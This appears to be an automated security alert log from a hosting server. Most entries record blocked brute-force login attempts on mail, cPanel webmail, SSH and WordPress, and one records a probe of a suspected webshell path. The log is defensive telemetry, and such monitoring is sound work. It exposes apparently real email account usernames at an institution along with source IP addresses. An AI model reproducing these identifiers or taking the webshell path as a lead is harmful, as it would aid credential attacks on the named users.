abuser: 87.197.137.162
description:
Jan 29 12:32:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.197.137.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.197.137.162
description:
2025-01-29 12:32:30 dovecot_plain authenticator failed for static-dsl-162.87-197-137.telecom.sk [87.197.137.162]:50296: 535 Incorrect authentication data (set_id=assdas3)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.154.100
description:
Jan 29 12:32:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.154.100
description:
2025-01-29 12:32:34 dovecot_plain authenticator failed for (m121-202-154-100.smartone.com) [121.202.154.100]:46432: 535 Incorrect authentication data (set_id=eng20b00229y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.134.78.151
description:
Jan 29 12:32:44 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.134.78.151 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.134.78.151
description:
2025-01-29 12:32:46 dovecot_plain authenticator failed for ([36.134.78.151]) [36.134.78.151]:59972: 535 Incorrect authentication data (set_id=eng20b00229y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.187.42.154
description:
[2025-01-29 12:32:53 +0100] info [webmaild] 191.187.42.154 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 175.126.195.176
description:
Jan 29 12:33:20 ait sshd[120501]: Failed password for invalid user admin from 175.126.195.176 port 59127 ssh2


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.48.138.69
description:
Jan 29 12:33:34 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.48.138.69 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.138.69
description:
2025-01-29 12:33:36 dovecot_plain authenticator failed for 069.138.48.116.static.netvigator.com [116.48.138.69]:49184: 535 Incorrect authentication data (set_id=bboateng@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.134.243.37
description:
Jan 29 12:33:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.134.243.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.134.243.37
description:
2025-01-29 12:33:56 dovecot_plain authenticator failed for ([31.134.243.37]) [31.134.243.37]:41845: 535 Incorrect authentication data (set_id=bboateng)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.180.189.213
description:
[2025-01-29 12:34:15 +0100] info [webmaild] 45.180.189.213 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.253.178
description:
2025-01-29 12:35:07 dovecot_plain authenticator failed for ([116.113.253.178]) [116.113.253.178]:41953: 535 Incorrect authentication data (set_id=ads07b99022y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.113.253.178
description:
Jan 29 12:35:05 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.113.253.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.48.60.35
description:
Jan 29 12:35:18 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.48.60.35 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.48.60.35
description:
2025-01-29 12:35:20 dovecot_plain authenticator failed for ([211.48.60.35]) [211.48.60.35]:60024: 535 Incorrect authentication data (set_id=ads07b99022y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.228.11.207
description:
Jan 29 12:37:11 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.228.11.207 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.214.140.26
description:
[2025-01-29 12:36:48 +0100] info [webmaild] 177.214.140.26 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 178.78.17.186
description:
[2025-01-29 12:37:02 +0100] info [webmaild] 178.78.17.186 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.125.94.195
description:
Jan 29 12:36:56 ait sshd[122559]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.94.195 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 31.223.94.129
description:
[2025-01-29 12:36:28 +0100] info [webmaild] 31.223.94.129 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.125.94.195
description:
Jan 29 12:36:56 ait sshd[122559]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.125.94.195


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 128.199.163.175
domain: gvu.titopen.us
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:12-37.128.199.163.175||RSV:6.65||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.228.11.207
description:
2025-01-29 12:37:13 dovecot_login authenticator failed for broadband-5-228-11-207.ip.moscow.rt.ru [5.228.11.207]:50182: 535 Incorrect authentication data (set_id=taisiaokmar@aitopen.us)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 91.106.42.202
description:
[2025-01-29 12:37:06 +0100] info [webmaild] 91.106.42.202 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 128.199.163.175
domain: gvu.titopen.us
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:6.65||T:APACHE||MV:/wp-admin/images/Mhbgf.php||SC:/home/titlemas/public_html/gvu/wp-admin/images/Mhbgf.php


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.7.124.253
description:
2025-01-29 12:37:33 dovecot_login authenticator failed for p77254-obmd01.osaka.ocn.ne.jp [180.7.124.253]:53180: 535 Incorrect authentication data (set_id=taisiaokmar)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 138.118.230.190
description:
[2025-01-29 12:37:51 +0100] info [webmaild] 138.118.230.190 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.7.124.253
description:
Jan 29 12:37:31 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.7.124.253 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.184
description:
2025-01-29 12:38:54 dovecot_plain authenticator failed for ([171.244.60.184]) [171.244.60.184]:5665: 535 Incorrect authentication data (set_id=abs68b66600y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.228.250.16
description:
[2025-01-29 12:38:35 +0100] info [webmaild] 45.228.250.16 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.105.213.144
description:
Jan 29 12:38:40 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.105.213.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.128.57.47
description:
[2025-01-29 12:38:41 +0100] info [webmaild] 190.128.57.47 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.244.60.184
description:
Jan 29 12:38:52 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.244.60.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.213.144
description:
2025-01-29 12:38:42 dovecot_plain authenticator failed for ([211.105.213.144]) [211.105.213.144]:58158: 535 Incorrect authentication data (set_id=abs68b66600y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.135.66.173
description:
Jan 29 12:39:57 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.135.66.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.135.66.173
description:
2025-01-29 12:39:59 dovecot_plain authenticator failed for ([182.135.66.173]) [182.135.66.173]:43910: 535 Incorrect authentication data (set_id=bscs18bit0012y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.8.50.150
description:
Jan 29 12:40:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.8.50.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.8.50.150
description:
2025-01-29 12:40:10 dovecot_plain authenticator failed for ([60.8.120.74]) [60.8.50.150]:58952: 535 Incorrect authentication data (set_id=bscs18bit0012y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 45.148.10.196
description:
Jan 29 12:41:06 ait sshd[124846]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=45.148.10.196  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.26.63.158
description:
2025-01-29 12:40:52 dovecot_plain authenticator failed for ([36.26.63.158]) [36.26.63.158]:51802: 535 Incorrect authentication data (set_id=ads89b99891y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.148.10.196
description:
Jan 29 12:41:05 ait sshd[124846]: pam_imunify(sshd:auth): [IM360_RBL] The IP 45.148.10.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.75.98.134
description:
Jan 29 12:40:39 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.75.98.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.75.98.134
description:
2025-01-29 12:40:41 dovecot_plain authenticator failed for ([138.75.98.134]) [138.75.98.134]:57313: 535 Incorrect authentication data (set_id=ads89b99891y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.209.153
description:
2025-01-29 12:40:48 dovecot_login authenticator failed for (TlTHZnjk) [165.154.209.153]:58378: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.0.27.180
description:
[2025-01-29 12:40:40 +0100] info [webmaild] 170.0.27.180 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.209.153
description:
Jan 29 12:40:46 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.154.209.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.26.63.158
description:
Jan 29 12:40:50 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.26.63.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.209.153
description:
Jan 29 12:41:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.154.209.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.209.153
description:
2025-01-29 12:41:34 dovecot_login authenticator failed for (OpzoxSZ2) [165.154.209.153]:60383: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.137.56.216
description:
2025-01-29 12:42:00 dovecot_plain authenticator failed for ([185.137.56.216]) [185.137.56.216]:38538: 535 Incorrect authentication data (set_id=ads20a00079y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.157.230
description:
2025-01-29 12:42:09 dovecot_plain authenticator failed for ([207.188.157.230]) [207.188.157.230]:18377: 535 Incorrect authentication data (set_id=offei@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.137.56.216
description:
Jan 29 12:41:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.137.56.216 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.188.157.230
description:
Jan 29 12:42:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.188.157.230 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.191.115.89
description:
[2025-01-29 12:43:07 +0100] info [webmaild] 177.191.115.89 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.46.200.107
description:
2025-01-29 12:42:24 dovecot_plain authenticator failed for ([196.46.200.107]) [196.46.200.107]:50666: 535 Incorrect authentication data (set_id=offei)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.51.214.170
description:
2025-01-29 12:42:24 dovecot_plain authenticator failed for (andecam) [77.51.214.170]:40512: 535 Incorrect authentication data (set_id=freeman@jaster.us)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.236.175.122
description:
2025-01-29 12:42:29 dovecot_plain authenticator failed for ([120.236.175.122]) [120.236.175.122]:48904: 535 Incorrect authentication data (set_id=ads20a00079y)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 29 12:42:42 ait sshd[125910]: Invalid user loicexpertise.com 2a00 from 122.51.104.242 port 57186


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 12:42:34 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 29 12:42:42 ait sshd[125910]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 29 12:42:42 ait sshd[125910]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.209.153
description:
2025-01-29 12:42:19 dovecot_login authenticator failed for (fWhp0LN) [165.154.209.153]:57070: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.46.200.107
description:
Jan 29 12:42:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.46.200.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.51.214.170
description:
Jan 29 12:42:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.51.214.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.236.175.122
description:
Jan 29 12:42:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.236.175.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.4.150.142
description:
2025-01-29 12:43:35 dovecot_plain authenticator failed for ([112.4.150.142]) [112.4.150.142]:57384: 535 Incorrect authentication data (set_id=ads32a00023y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 69.30.195.178
domain: mail.ait-open.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:Administrarot||WPU:Administrarot||RSV:6.65||T:APACHE||MV:12-43.69.30.195.178


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 182.61.10.212
description:
Jan 29 12:43:44 ait sshd[126544]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.61.10.212  user=root


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.214.201.195
description:
Jan 29 12:44:06 ait sshd[126795]: pam_imunify(sshd:auth): [IM360_RBL] The IP 162.214.201.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.43.204.45
description:
Jan 29 12:43:21 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.43.204.45 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 29 12:43:27 ait sshd[126320]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 29 12:43:27 ait sshd[126320]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.4.150.142
description:
Jan 29 12:43:33 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.4.150.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.10.212
description:
Jan 29 12:43:44 ait sshd[126544]: pam_imunify(sshd:auth): [IM360_RBL] The IP 182.61.10.212 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 162.214.201.195
description:
Jan 29 12:44:06 ait sshd[126795]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=162.214.201.195  user=root


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.43.204.45
description:
2025-01-29 12:43:23 dovecot_plain authenticator failed for ([188.43.204.45]) [188.43.204.45]:43300: 535 Incorrect authentication data (set_id=ads32a00023y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.236.105.84
description:
[2025-01-29 12:44:02 +0100] info [webmaild] 45.236.105.84 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 29 12:43:27 ait sshd[126320]: Invalid user loicexpertise.com 2a00 from 122.51.104.242 port 56446


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.148.187.146
description:
2025-01-29 12:45:07 dovecot_plain authenticator failed for (azteca-comunicaciones.com) [186.148.187.146]:38958: 535 Incorrect authentication data (set_id=ads19a00027y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.67.177.55
description:
[2025-01-29 12:45:14 +0100] info [webmaild] 185.67.177.55 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.49.63.9
description:
[2025-01-29 12:45:02 +0100] info [webmaild] 179.49.63.9 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.148.187.146
description:
Jan 29 12:45:05 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.148.187.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 202.51.88.236
description:
[2025-01-29 12:45:56 +0100] info [webmaild] 202.51.88.236 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.53.15.17
description:
Jan 29 12:46:16 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.53.15.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
description:
2025-01-29 12:46:18 dovecot_plain authenticator failed for (inchass) [102.53.15.17]:42006: 535 Incorrect authentication data (set_id=info@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 12:46:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.12.2.110
description:
Jan 29 12:45:22 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.12.2.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.12.2.110
description:
2025-01-29 12:45:24 dovecot_plain authenticator failed for ([187.12.2.110]) [187.12.2.110]:56310: 535 Incorrect authentication data (set_id=ads19a00027y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 1.178.114.55
description:
[2025-01-29 12:45:55 +0100] info [webmaild] 1.178.114.55 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.60.146
description:
2025-01-29 12:46:39 dovecot_plain authenticator failed for ([180.168.60.146]) [180.168.60.146]:33835: 535 Incorrect authentication data (set_id=ads21b00206y@ait.edu.gh)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 171.244.129.243
domain: lemass.aitsmartschool.com
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:12-46.171.244.129.243


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.255.84.180
description:
Jan 29 12:46:21 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.255.84.180 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 157.245.220.161
domain: lemass.aitsmartschool.com
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:12-46.157.245.220.161


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 178.128.101.202
domain: lemass.aitsmartschool.com
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:12-46.178.128.101.202


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 173.212.208.138
domain: lemass.aitsmartschool.com
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:12-46.173.212.208.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.168.60.146
description:
Jan 29 12:46:37 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.168.60.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.158.19.6
description:
Jan 29 12:46:46 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.158.19.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.158.19.6
description:
2025-01-29 12:46:48 dovecot_plain authenticator failed for ([195.158.19.6]) [195.158.19.6]:60348: 535 Incorrect authentication data (set_id=ads21b00206y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.255.84.180
description:
2025-01-29 12:46:23 dovecot_plain authenticator failed for ns3042085.ip-51-255-84.eu (wayash) [51.255.84.180]:41626: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.119.238
description:
47.128.119.238 - - [29/Jan/2025:12:47:30 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12970904 HTTP/1.1" 302 0 ait-open.net "http://ait-open.net/elearning?page_id=viagra-tabletten-rezeptfrei" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.119.238


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.83.138.111
description:
[2025-01-29 12:47:34 +0100] info [webmaild] 170.83.138.111 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 12:48:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.91.68
description:
Jan 29 12:48:16 ait sshd[129312]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.255.91.68 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.255.91.68
description:
Jan 29 12:48:16 ait sshd[129312]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.255.91.68


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.27.145.82
description:
[2025-01-29 12:49:05 +0100] info [webmaild] 186.27.145.82 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 185.255.91.68
description:
Jan 29 12:48:20 ait sshd[129312]: Disconnected from invalid user dev 185.255.91.68 port 58374 [preauth]


plugin: ossec
rule: 13008
name: Mail Reciepient rejected
abuser: 165.154.227.39
description:
2025-01-29 12:48:57 H=(mail.ait.university) [165.154.227.39]:58113 F=<pznuojjl@ait.university> rejected RCPT <validxxxg@gmail.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.98.10.109
description:
2025-01-29 12:49:56 dovecot_plain authenticator failed for ([46.98.10.109]) [46.98.10.109]:54738: 535 Incorrect authentication data (set_id=ads23a00018y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.87.237.141
description:
[2025-01-29 12:50:07 +0100] info [webmaild] 201.87.237.141 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.227.206.42
description:
Jan 29 12:50:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.227.206.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.58.113.182
description:
Jan 29 12:50:11 ait sshd[130558]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.58.113.182 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.58.113.182
description:
Jan 29 12:50:11 ait sshd[130558]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.58.113.182


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 206.0.24.168
description:
[2025-01-29 12:49:36 +0100] info [webmaild] 206.0.24.168 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.15.122.119
description:
